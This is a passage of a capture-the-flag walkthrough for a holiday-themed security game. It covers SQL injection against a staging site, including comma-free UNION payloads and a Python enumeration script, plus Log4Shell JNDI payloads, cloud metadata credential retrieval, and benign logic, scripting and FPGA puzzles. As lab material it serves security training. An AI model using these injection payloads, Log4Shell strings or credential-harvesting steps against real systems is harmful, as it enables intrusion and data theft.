name=Muffy+VonDuchess+Sebastian&troll_id=I+don%27t+know.+There+were+several+of+them.&guest_info=Room+1024&description=I+have+never%2C+in+my+life%2C+been+in+a+facility+with+such+a+horrible+staff.+They+are+rude+and+insulting.+What+kind+of+place+is+this%3F+You+can+be+sure+that+I+%28or+my+lawyer%29+will+be+speaking+directly+with+Mr.+Frost%21&submit=SubmitHTTP/1.1 200 OK
...
So lets search for this room
Open these HTTP streams like before:
...
name=Yaqh&troll_id=2796&guest_info=Snooty+lady+in+room+1024&description=Lady+call+desk+and+ask+for+more+towel.+Yaqh+take+to+room.+Yaqh+ask+if+she+want+more+towel+because+she+is+like+to+steal.+She+say+Yaqh+is+insult.+Yaqh+is+not+insult.+Yaqh+is+Yaqh.&submit=SubmitHTTP/1.1 200 OK
...
...
name=Flud&troll_id=2083&guest_info=Very+cranky+lady+in+room+1024&description=Lady+call+front+desk.+Complain+%22employee%22+is+rude.+Say+she+is+insult+and+want+to+speak+to+manager.+Send+Flud+to+room.+Lady+say+troll+call+her+towels+thief.+I+say+stop+steal+towels+if+is+bother+her.&submit=SubmitHTTP/1.1 200 OK
...
...
name=Hagg&troll_id=2013&guest_info=Incredibly+angry+lady+in+room+1024&description=Lady+call+front+desk.+I+am+walk+by+so+I+pick+up+phone.+She+is+ANGRY+and+shout+at+me.+Say+she+has+never+been+so+insult.+I+say+she+probably+has+but+just+didn%27t+hear+it.&submit=SubmitHTTP/1.1 200 OK
...
So the names in alphabetical order as solution is:
Flud Hagg Yaqh
12 Frost Tower Website Checkup
The question is
Investigate Frost Tower’s website for security issues. This source code will be useful in your analysis. In Jack Frost’s TODO list, what job position does Jack plan to offer Santa? Ribb Bonbowford, in Santa’s dining room, may have some pointers for you.
Ribb Bonbowford gives you this information
Gosh, with skills like that, I’ll bet you could help figure out what’s really going on next door… And, as I promised, let me tell you what I know about SQL injection. I hear that having source code for vulnerability discovery dramatically changes the vulnerability discovery process. I imagine it changes how you approach an assessment too. When you have the source code, API documentation becomes tremendously valuable. Who knows? Maybe you’ll even find more than one vulnerability in the code.
So you have to solve two things:
- Circumvent the session protection
- Exploit an SQL injection vulnerability
Circumvent the session protection
If you look into the code server.js
you can find:
So you will get a valid session cookie if you enter an e-mail address twice in this form. To do this goto https://staging.jackfrosttower.com/contact
fill the form and do it twice with an equal e-mail:
until you get “Email Already Exists”
After that you directly can goto https://staging.jackfrosttower.com/postcontact
Exploit an SQL injection vulnerability
Find the SQL injection
The vulnerable code is in the details page. Inspecting the code you can see a usage of a suspicious raw function which goes into a concatenated sql query:
and finally spits out data:
The raw function is described in the node mysql documentation:
So since no escaping is taking place here and the sql query is concatenated you should be able to inject sql in between the commas.
This is also underlined by the reference in Jack’s Rest Room when you pull the trigger from the toilet.
The sql query looks something like this if you deliver 2 values:
SELECT * FROM uniquecontact WHERE id=" +ids[0]+ " OR id=" +ids[1]+ " OR id=?"
where ? will be “0”.
e.g. “1,2”:
SELECT * FROM uniquecontact WHERE id=1 OR id=2 OR id=?"
with ? = 0.
For a fast test you can use:
1,2 OR TRUE --
(beware of the space after the two dashes)
vs
1,2 AND FALSE --
One results in all entries of the table uniquecontact
. The other one in only one entry, namely the first.
You can evaluate these commands directly on the database if you run:
run -it --rm --name mysql -e MYSQL_ROOT_PASSWORD=secret -e MYSQL_USER=encontact -e MYSQL_PASSWORD=password -e MYSQL_DATABASE=encontact -d -p 127.0.0.1:3306:3306 mariadb:latest mysqld
[sudo] Passwort für phoot1if:
<some docker id>
deti <some docker id> mysql -uroot -psecret
Copy paste the content of sql/encontact_db.sql
into the mysql console inside docker. After that you can run MYSQL commands directly at the database encontact.
Find a UNION SELECT
Next you want to iterate the database. In mysql you therefore have to get the table information_schema
.
So first it is necessary to find the number of columns from your current table uniquecontact
. Looking inside the code
you can count 7 columns.
A standard UNION SELECT would be like
SELECT * FROM uniquecontact WHERE id=1 OR id=2 UNION SELECT 1,2,3,4,5,6,7 -- "
but this doesn’t work because we have no possibility to set commas as a payload.
At this point googling revealed a nice workaround with JOINS resulting in the payload:
1,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT 2)B JOIN (SELECT 3)C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G) --
Enumerate tables and columns
Now you can iterate the tables of database:
1,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT 2)B JOIN ( SELECT table_name FROM information_schema.tables limit 1 offset 0)C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G) --
Increment counter after OFFSET
to go further.
To fetch all tables in the database you can use
#!/usr/bin/env python3
import urllib
import requests
import requests as req
from bs4 import BeautifulSoup
s = requests.Session()
resp = s.get("https://staging.jackfrosttower.com/")
resp = s.get("https://staging.jackfrosttower.com/contact")
soup = BeautifulSoup(resp.text, 'lxml')
csrfToken = soup.input["value"]
resp = s.post("https://staging.jackfrosttower.com/postcontact", allow_redirects=True, data={
"_csrf": csrfToken,
"fullname" : "abc",
"email" : "a%40b.c",
"phone": "123",
"country": "Bangladesh",
"submit": "SAVE"})
soup = BeautifulSoup(resp.text, 'lxml')
csrfToken = soup.input["value"]
resp = s.post("https://staging.jackfrosttower.com/postcontact", allow_redirects=True, data={
"_csrf": csrfToken,
"fullname" : "abc",
"email" : "a%40b.c",
"phone": "123",
"country": "Bangladesh",
"submit": "SAVE"})
for i in range(0,100):
try:
resp = s.get("https://staging.jackfrosttower.com/detail/1,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT 2)B JOIN ( SELECT table_name FROM information_schema.tables limit 1 offset "+str(i)+")C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G) -- ")
soup = BeautifulSoup(resp.text, 'lxml')
ul = soup.find_all("ul", {"class":"datadetail"})[2]
print(ul.li.string)
except:
Among the enumerated tables there is an interesting one that fits the original question
In Jack Frost’s TODO list, what job position does Jack plan to offer Santa?
To iterate the columns in this table use a similar approach:
1,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT 2)B JOIN ( SELECT column_name FROM information_schema.columns where table_name='todo' limit 1 offset 0)C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G) --
and increment the value after OFFSET
. You will get:
id note completed
Exfiltrate
Let look inside the columns of note
:
1,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT 2)B JOIN ( SELECT note FROM todo where id=0)C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G) --
Nothing.
1,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT 2)B JOIN ( SELECT note FROM todo where id=1)C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G) --
Buy up land all around Santa's Castle
id=2 :
Build bigger and more majestic tower next to Santa's
id=3..9:
Erode Santa's influence at the North Pole via FrostFest, the greatest Con in history
Dishearten Santa's elves and encourage defection to our cause
Steal Santa's sleigh technology and build a competing and way better Frosty present delivery vehicle
Undermine Santa's ability to deliver presents on 12/24 through elf staff shortages, technology glitches, and assorted mayhem
Force Santa to cancel Christmas
SAVE THE DAY by delivering Frosty presents using merch from the Frost Tower Gift Shop to children world-wide... so the whole world sees that Frost saved the Holiday Season!!!! Bwahahahahaha!
With Santa defeated, offer the old man a job as a clerk in the Frost Tower Gift Shop so we can keep an eye on him
So the solution is
clerk
13 FPGA Programming
For this you need https://www.fpga4fun.com/MusicBox.html and https://www.youtube.com/watch?v=GFdG1PJ4QjA.
Start to get 500 Hz to work like that:
// Note: For this lab, we will be working with QRP Corporation's CQC-11 FPGA.
// The CQC-11 operates with a 125MHz clock.
// Your design for a tone generator must support the following
// inputs/outputs:
// (NOTE: DO NOT CHANGE THE NAMES. OUR AUTOMATED GRADING TOOL
// REQUIRES THE USE OF THESE NAMES!)
// input clk - this will be connected to the 125MHz system clock
// input rst - this will be connected to the system board's reset bus
// input freq - a 32 bit integer indicating the required frequency
// (0 - 9999.99Hz) formatted as follows:
// 32'hf1206 or 32'd987654 = 9876.54Hz
// output wave_out - a square wave output of the desired frequency
// you can create whatever other variables you need, but remember
// to initialize them to something!
`timescale 1ns/1ns
module tone_generator (
input clk,
input rst,
input [31:0] freq,
output wave_out
);
// ---- DO NOT CHANGE THE CODE ABOVE THIS LINE ----
// ---- IT IS NECESSARY FOR AUTOMATED ANALYSIS ----
// TODO: Add your code below.
// Remove the following line and add your own implementation.
// Note: It's silly, but it compiles...
// divide by 2 because signal down <-> signal up
parameter clkdivider = 125000000/500/2;
reg[31:0] counter;
always @(posedge clk)
begin
if (!rst)
begin
if (counter == 0) counter <= clkdivider-1; else counter <= counter - 1;
end
end
reg speaker;
always @(posedge clk)
begin
if (freq == 0) begin end;
if (rst == 1) begin end;
if (counter == 0) speaker <= (~speaker);
end
assign wave_out = ~speaker;
endmodule
And add the variables freq and rst:
// Note: For this lab, we will be working with QRP Corporation's CQC-11 FPGA.
// The CQC-11 operates with a 125MHz clock.
// Your design for a tone generator must support the following
// inputs/outputs:
// (NOTE: DO NOT CHANGE THE NAMES. OUR AUTOMATED GRADING TOOL
// REQUIRES THE USE OF THESE NAMES!)
// input clk - this will be connected to the 125MHz system clock
// input rst - this will be connected to the system board's reset bus
// input freq - a 32 bit integer indicating the required frequency
// (0 - 9999.99Hz) formatted as follows:
// 32'hf1206 or 32'd987654 = 9876.54Hz
// output wave_out - a square wave output of the desired frequency
// you can create whatever other variables you need, but remember
// to initialize them to something!
`timescale 1ns/1ns
module tone_generator (
input clk,
input rst,
input [31:0] freq,
output wave_out
);
// ---- DO NOT CHANGE THE CODE ABOVE THIS LINE ----
// ---- IT IS NECESSARY FOR AUTOMATED ANALYSIS ----
// TODO: Add your code below.
// Remove the following line and add your own implementation.
// Note: It's silly, but it compiles...
// divide by 2 because signal down <-> signal up
localparam CLK_FREQ = 125000000;
reg[31:0] counter;
reg speaker;
always @(posedge clk or posedge rst)
begin
if (rst)
begin
counter <= 32'h00;
speaker <= 0;
end
if (!rst)
begin
if (counter == 32'h00)
begin
counter <= (CLK_FREQ/(freq/50))-1;
speaker <= ~speaker;
end
else counter <= counter - 1;
end
end
assign wave_out = ~speaker;
endmodule
Final steps to solve game
You will get an FPGA. Put this FPGA into the appliance next to the FPGA Programming challenge:
Go into the spaceship.
Here you will find the solution for the game:
Icy Sickles:
We come in peace! I am Icy Sickles from ice Planet Frost. Many centuries ago, we Frostian trolls sent an expedition to study your planet and peoples. Jack Frost, scion of Planet Frost’s ruling family, captained that long-ago mission, which carried many hundreds of our people to your planet to conduct our research.
Erin Fection:
I am Erin Fection, the pilot of this interstellar spaceship. Our first expedition established a base in the land of Oz, where our researchers became known as “Munchkins.” We received a message from them long ago about a Great Schism, where the Frostian expedition split into two warring factions: Munchkins and Elves. Thankfully, they managed to establish an uneasy peace by relocating the Elves to the North Pole. Since then, we have heard nothing from the expedition. They went interstellar radio silent. Until NOW.
Buttercup:
I am Buttercup, Princess of ice Planet Frost. Thanks to your help, we received the message from the device summoning us back to Earth to address the recent unpleasantness. We had no idea that Jack Frost would cause such trouble! We sincerely apologize. We will take Jack back home to Planet Frost, along with all the other trolls. The Elves and Munchkins, of course, can remain if they opt to do so. Fear not, we WILL bring Jack and any guilty trolls to justice for their infractions. They will not bother your planet any longer. Again, we apologize for all the troubles he has caused, and we sincerely THANK YOU for your help! And, now that you’ve helped us solve everything, feel free to show off your skills with some swag - only for our victors!
Jack Frost
I was just having a little fun. C’mon, man! And, I was just getting started! I had such big plans! I don’t want to go home!!!
Santa:
The Frostians have reached out to me via video link. They’ve explained to me all that has happened. I’d like to thank you for your truly excellent work in foiling Jack’s plans and ensuring that he is finally brought to justice. On behalf of all of us here at the North Pole, we wish you and yours a happy and healthy Holiday Season. Thank you and HAPPY HOLIDAYS from me and all of the elves. Ho Ho Ho!
Achievements
Logic munchers
Understand the boolean logic and play the mentioned level
Greeping for gold
Level 1
grep '34.76.1.22' bigscan.gnmap
Host: 34.76.1.22 () Status: Up
Host: 34.76.1.22 () Ports: 62078/open/tcp//iphone-sync/// Ignored State: closed (999)
=> 62078
Level 2
grep '34.77.207.226' bigscan.gnmap
Host: 34.77.207.226 () Status: Up
Host: 34.77.207.226 () Ports: 8080/open/tcp//http-proxy/// Ignored State: filtered (999)
=> 8080
Level 3
grep 'Up' bigscan.gnmap | wc -l
26054
=> 26054
Level 4
grep -E '(\s80|\s443|\s8080)\/open' bigscan.gnmap | wc -l
14372
=> 14372
Level 5
echo $((`grep 'Up' -A 1 bigscan.gnmap | grep Up | wc -l` - `grep 'Up' -A 1 bigscan.gnmap | grep Port | wc -l`))
402
=> 402
Level 6
while read p; do out1=$(echo $p| cut -f 2 -d " ");out2=$(echo -n $p|grep -o "open"|wc -l); echo "$out1 $out2"; done < <(grep "Ports" bigscan.gnmap) > ot
sort -k2 -n ot | tail
34.79.226.71 11
34.79.238.251 11
34.79.251.175 11
34.79.45.15 11
34.79.74.77 11
34.76.237.4 12
34.77.152.226 12
34.78.10.40 12
34.79.22.38 12
34.79.94.34 12
=> 12
strace lctrace retrace
ls -> file: "make the candy"
./make the candy -> Unable to open configuration file
ltrace ./make the candy -> fopen("registration.json","r")
echo '{"a:"b"}' > registration.json
ltrace ./make the candy -> strstr("{"a":"b"}\n", "Registration")
echo '{"Registration":"b"}' > registration.json
ltrace ./make the candy -> strstr(":"b"}\n","True")
echo '{"Registration":"True"}' > registration.json
yara analysis
Run the program “the_critical_elf_app” and look at the output: “yara_rule_135 ./the_critical_elf_app” yara_rule_135 has the condition “candycane” in the yara_rules folder. So change this string using vim in the binary Next rule looks for hex at the end of the string “This is critical for the execution of this program!!”. Replace this too in the binary using vim. The rule 1732 has an and condition including the filesize. So cat the file as often together until it is larger than 50 KB. If the binary doesnt work after that, change the before mentioned values in all findings in the file.
IPv6 Sandbox
First check normal IPv4 stuff:
ip neigh -> get arp and ndp findings -> 192.168.160.1, fe80::1, fe80::42:c0ff:fea8:a002
nmap 192.168.160.1 -p- -> 22,3000,8000 open
ping IPv6
-> ping6 ff02::1 -c2
-> ping6 ff02::2 -c2
nmap at the IPv6 addresses:
-> nmap -6 fe80::42::c0ff:fea8:a002%eth0 -p- -> 80,9000 open
curl
-> curl --interface eth0 http://[fe80::42::c0ff:fea8:a002]:80/ says
"Connect to the other open TCP port to get the striper's activation phrase"
-> curl --interface eth0 http://[fe80::42::c0ff:fea8:a002]:9000/
"PieceOnEarth"
Place this string in the top terminal as solution
Elf code Python
Level 1
Just run the code
Level 2
import elf, munchkins, levers, lollipops, yeeters, pits
elf.moveLeft(10)
elf.moveUp(2)
elf.moveRight(3)
elf.moveUp(6)
elf.moveLeft(3)
elf.moveUp(2)
Level 3
import elf, munchkins, levers, lollipops, yeeters, pits
lever0 = levers.get(0)
modified_data=lever0.data()+2
elf.moveLeft(6)
lever0.pull(modified_data)
elf.moveLeft(4)
elf.moveUp(10)
Level 4
import elf, munchkins, levers, lollipops, yeeters, pits
# Complete the code below:
lever0, lever1, lever2, lever3, lever4 = levers.get()
# Move onto lever4
elf.moveLeft(2)
# This lever wants a str object:
lever4.pull("A String")
# Need more code below:
elf.moveUp(2)
lever3.pull(True)
elf.moveUp(2)
lever2.pull(1)
elf.moveUp(2)
lever1.pull([])
elf.moveUp(2)
lever0.pull({})
elf.moveUp(2)
Level 5
import elf, munchkins, levers, lollipops, yeeters, pits
# Fix/Complete Code below
lever0, lever1, lever2, lever3, lever4 = levers.get()
# Solve for each lever, moving to the space
# on the lever before calling leverN.pull()
elf.moveLeft(2)
lever4.pull(lever4.data()+" concatenate")
elf.moveUp(2)
lever3.pull(not lever3.data())
elf.moveUp(2)
lever2.pull(lever2.data()+1)
elf.moveUp(2)
l=lever1.data()
l.append(1)
lever1.pull(l)
elf.moveUp(2)
d=lever0.data()
d.update({"strkey":"strvalue"})
lever0.pull(d)
elf.moveUp(2)
Level 6
import elf, munchkins, levers, lollipops, yeeters, pits
# Fix/Complete the below code
lever = levers.get(0)
data = lever.data()
if type(data) == bool:
data = not data
elif type(data) == int:
data = data * 2
elif type(data) == str:
data = data + data
elif type(data) == dict:
data["a"] = data["a"]+1
elf.moveUp(2)
lever.pull(data)
elf.moveUp(2)
Level 7
import elf, munchkins, levers, lollipops, yeeters, pits
for num in range(5): #not sure if number is right
elf.moveLeft(3)
if num % 2 == 0:
elf.moveUp(12)
else:
elf.moveDown(12)
Level 8
import elf, munchkins, levers, lollipops, yeeters, pits
all_lollipops = lollipops.get()
for lollipop in all_lollipops:
elf.moveTo(lollipop.position)
lever0=levers.get(0)
elf.moveTo(lever0.position)
d = lever0.data()
d.insert(0,"munchkins rule")
lever0.pull(d)
elf.moveDown(5)
elf.moveTo({"x":2,"y":2})
Level 9
import elf, munchkins, levers, lollipops, yeeters, pits
def func_to_pass_to_mucnhkin(list_of_lists):
sum_of_ints_in_list_of_lists = 0
for member_list in list_of_lists:
for member in member_list:
if type(member) == int:
sum_of_ints_in_list_of_lists = sum_of_ints_in_list_of_lists + member
return sum_of_ints_in_list_of_lists
all_levers = levers.get()
# Create Movement pattern:
moves = [elf.moveDown, elf.moveLeft, elf.moveUp, elf.moveRight] * 2
# We iterate over each move in moves getting an index (i) number that increments by one each time
for i, move in enumerate(moves):
move(i+1)
# We need to call each move
# if i is less than the len(all_levers), we pull the lever
if i < len(all_levers):
all_levers[i].pull(i)
elf.moveUp(2)
elf.moveLeft(4)
munchkin = munchkins.get(0)
munchkin.answer(func_to_pass_to_mucnhkin)
elf.moveUp(1)
Level 10
import elf, munchkins, levers, lollipops, yeeters, pits
import time
muns = munchkins.get()
lols = lollipops.get()[::-1]
for index, mun in enumerate(muns):
# need to wait while absolute distance between
# elf.position["x"] and mun.position['x'] is less than 6
# then we move to next lollipop
# We can use time.sleep(0.05) to add a small delay in a while loop
while abs(elf.position["x"]-mun.position["x"]) < 6:
time.sleep(0.05)
elf.moveTo(lols[index].position)
elf.moveTo({"x":2,"y":2})
Document Analysis Exiftool Metadata
exiftool * | grep "Jack Frost" -C 45 | grep "^File Name"
=> 2021-12-21.docx
Frostavator
xor nor xnor
and nand or
Hoho No Fail2ban
Look into
cat /var/log/hohono.log
to get an overview
PoC to find the regex which shouldnt be allowed:
cat /var/log/hohono.log | grep -v successful | grep -v Valid | grep -v 'Invalid heartbeat' | grep -v 'rejected due to unknown user' | grep -v 'sent a malformed request' | grep -v 'Failed login'
root@3ee23184d155:~#
vim /etc/fail2ban/filter.d/naughtylistservice.conf =>
cat /etc/fail2ban/filter.d/naughtylistservice.conf
[Definition]
failregex = Invalid heartbeat '.*' from <HOST>
Login from <HOST> rejected due to unknown user name
<HOST> sent a malformed request
Failed login from <HOST> for .*
vim /etc/fail2ban/action.d/naughtylistservice.conf =>
cat /etc/fail2ban/action.d/naughtylistservice.conf
[Definition]
actionban = /root/naughtylist add <ip>
vim /etc/fail2ban/jail.d/naughtylistservice.conf =>
cat /etc/fail2ban/jail.d/naughtylistservice.conf
# service name
[naughtylistservice]
# tune on / off
enabled = true
# filter for naughtylist service
filter = naughtylistservice
# file to parse
logpath = /var/log/hohono.log
# ban rule
# 10 times+ on 1 hour
maxretry = 10
findtime = 3600
action = naughtylistservice
service fail2ban restart fail2ban-client status fail2ban-client status naughtylistservice /root/naughtylist refresh
Santas Holiday Hero
Set cookie “HOHOHO” to “%7B%22single_player%22%%3Atrue%7D” Set a breakpoint at holidayhero.min.js:736 Goto console and set single_player_mode=true => Play together with SYSTEM and win
Bonus Blue Log4jack
-> Y
-> ls
-> next
-> cd vulnerable
-> cat DisplayFilev1.java
-> javac DisplayFilev1.java
-> java DisplayFilev1 testfile.txt
-> java DisplayFilev1 testfile2.txt
-> next
-> cat DisplayFilev2.java
-> next
-> javac DisplayFilev2.java
-> java DisplayFilev2 testfile.txt
-> java DisplayFilev2 testfile2.txt
-> next
-> java DisplayFilev2 '${java:version}'
-> java DisplayFilev2 '${env:APISECRET}'
-> next
-> ./startserver.sh
-> java DisplayFilev2 '${jndi:ldap://127.0.0.1:1389/Exploit}'
-> cd ../patched
-> ls
-> source classpath.sh
-> javac DisplayFilev2.java
-> java DisplayFilev2 '${java:version}'
-> cd ..
-> log4j2-scan vulnerable/
-> log4j2-scan patched/
-> log4j2-scan /var/www/solr
-> next
-> cd /var/log/www
-> ls
-> cd
-> cat logshell-search.sh
-> ./logshell-search.sh /var/log/www
-> ./logshell-search.sh /var/log/www | sed '1!d'
-> ./logshell-search.sh /var/log/www | sed '2!d'
-> ./logshell-search.sh /var/log/www | sed '3!d'
-> next
Bonus Red Log4jack
Follow all the steps in https://gist.github.com/joswr1ght/fb361f1f1e58307048aae5c0f38701e4
and replace WEBSERVERIP, NETCATIP and MARSHALSECIP with your ip (ip a
).
Answer text from /home/solr/kringle.txt
is
"""
The solution to Log4shell is patching
Sincerely,
Santa
"""
So
“patching” is what you search.
IMDS Exploration
To start the challenge enter:
Yes
The Instance Metadata Service (IMDS) is a virtual server for cloud assets at the IP address
169.254.169.254. Send a couple ping packets to the server.
ping -c 3 169.254.169.254
IMDS provides information about currently running virtual machine instances. You can use it
to manage and configure cloud nodes. IMDS is used by all major cloud providers.
Run 'next' to continue.
next
Developers can automate actions using IMDS. We'll interact with the server using the cURL
tool. Run 'curl http://169.254.169.254' to access IMDS data.
curl http://169.254.169.254
Different providers will have different formats for IMDS data. We're using an AWS-
compatible
IMDS server that returns 'latest' as the default response. Access the 'latest' endpoint.
Run 'curl http://169.254.169.254/latest'
curl http://169.254.169.254/latest
IMDS returns two new endpoints: dynamic and meta-data. Let's start with the dynamic
endpoint, which provides information about the instance itself. Repeat the request
to access the dynamic endpoint: 'curl http://169.254.169.254/latest/dynamic'.
curl http://169.254.169.254/latest/dynamic
The instance identity document can be used by developers to understand the instance
details.
Repeat the request, this time requesting the instance-identity/document resource:
'curl http://169.254.169.254/latest/dynamic/instance-identity/document'.
curl http://169.254.169.254/latest/dynamic/instance-identity/document
Much of the data retrieved from IMDS will be returned in JavaScript Object Notation (JSON)
format. Piping the output to 'jq' will make the content easier to read.
Re-run the previous command, sending the output to JQ: 'curl
http://169.254.169.254/latest/dynamic/instance-identity/document | jq'
curl http://169.254.169.254/latest/dynamic/instance-identity/document | jq
Here we see several details about the instance when it was launched. Developers can use this
information to optimize applications based on the instance launch parameters.
Run 'next' to continue.
next
In addition to dynamic parameters set at launch, IMDS offers metadata about the instance as
well. Examine the metadata elements available:
'curl http://169.254.169.254/latest/meta-data'
curl http://169.254.169.254/latest/meta-data
By accessing the metadata elements, a developer can interrogate information about the system.
Take a look at the public-hostname element:
'curl http://169.254.169.254/latest/meta-data/public-hostname'
Many of the data elements returned won't include a trailing newline, which causes the
response to blend into the prompt. Re-run the prior command, adding '; echo' to the end of
the command. This will add a new line character to the response.
curl http://169.254.169.254/latest/meta-data/public-hostname; echo
ec2-192-0-2-54.compute-1.amazonaws.com
There is a whole lot of information that can be retrieved from the IMDS server. Even AWS
Identity and Access Management (IAM) credentials! Request the endpoint
'http://169.254.169.254/latest/meta-data/iam/security-credentials' to see the instance IAM
role.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials
Once you know the role name, you can request the AWS keys associated with the role. Request
the endpoint 'http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-
role' to get the instance AWS keys.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-role
{
"AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
"Code": "Success",
"LastUpdated": "2021-12-02T18:50:40Z",
"Type": "AWS-HMAC",
"AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
"SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
"Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
"Expiration": "2026-12-02T18:50:40Z"
}
So far, we've been interacting with the IMDS server using IMDSv1, which does not require
authentication. Optionally, AWS users can turn on IMDSv2 that requires authentication. This
is more secure, but not on by default.
Run 'next' to continue.
next
For IMDSv2 access, you must request a token from the IMDS server using the
X-aws-ec2-metadata-token-ttl-seconds header to indicate how long you want the token to be
used for (between 1 and 21,600 secods).
Examine the contents of the 'gettoken.sh' script in the current directory using 'cat'.
cat gettoken.sh
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
This script will retrieve a token from the IMDS server and save it in the environment
variable TOKEN. Import it into your environment by running 'source gettoken.sh'.
I had to enter this twice:
source gettoken.sh
Now, the IMDS token value is stored in the environment variable TOKEN. Examine the contents
of the token by running 'echo $TOKEN'.
echo $TOKEN
gYVa2GgdDYbR6R4AFnk5y2aU0sQirNIIoAcpOUh/aZk=
With the IMDS token, you can make an IMDSv2 request by adding the X-aws-ec2-metadata-token
header to the curl request. Access the metadata region information in an
IMDSv2 request: 'curl -H "X-aws-ec2-metadata-token: $TOKEN"
http://169.254.169.254/latest/meta-data/placement/region'
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region
🍬🍬🍬🍬Congratulations!🍬🍬🍬🍬
You've completed the lesson on Instance Metadata interaction. Run 'exit' to close.
Open the Spaceship’s Door
See (last part of section 13)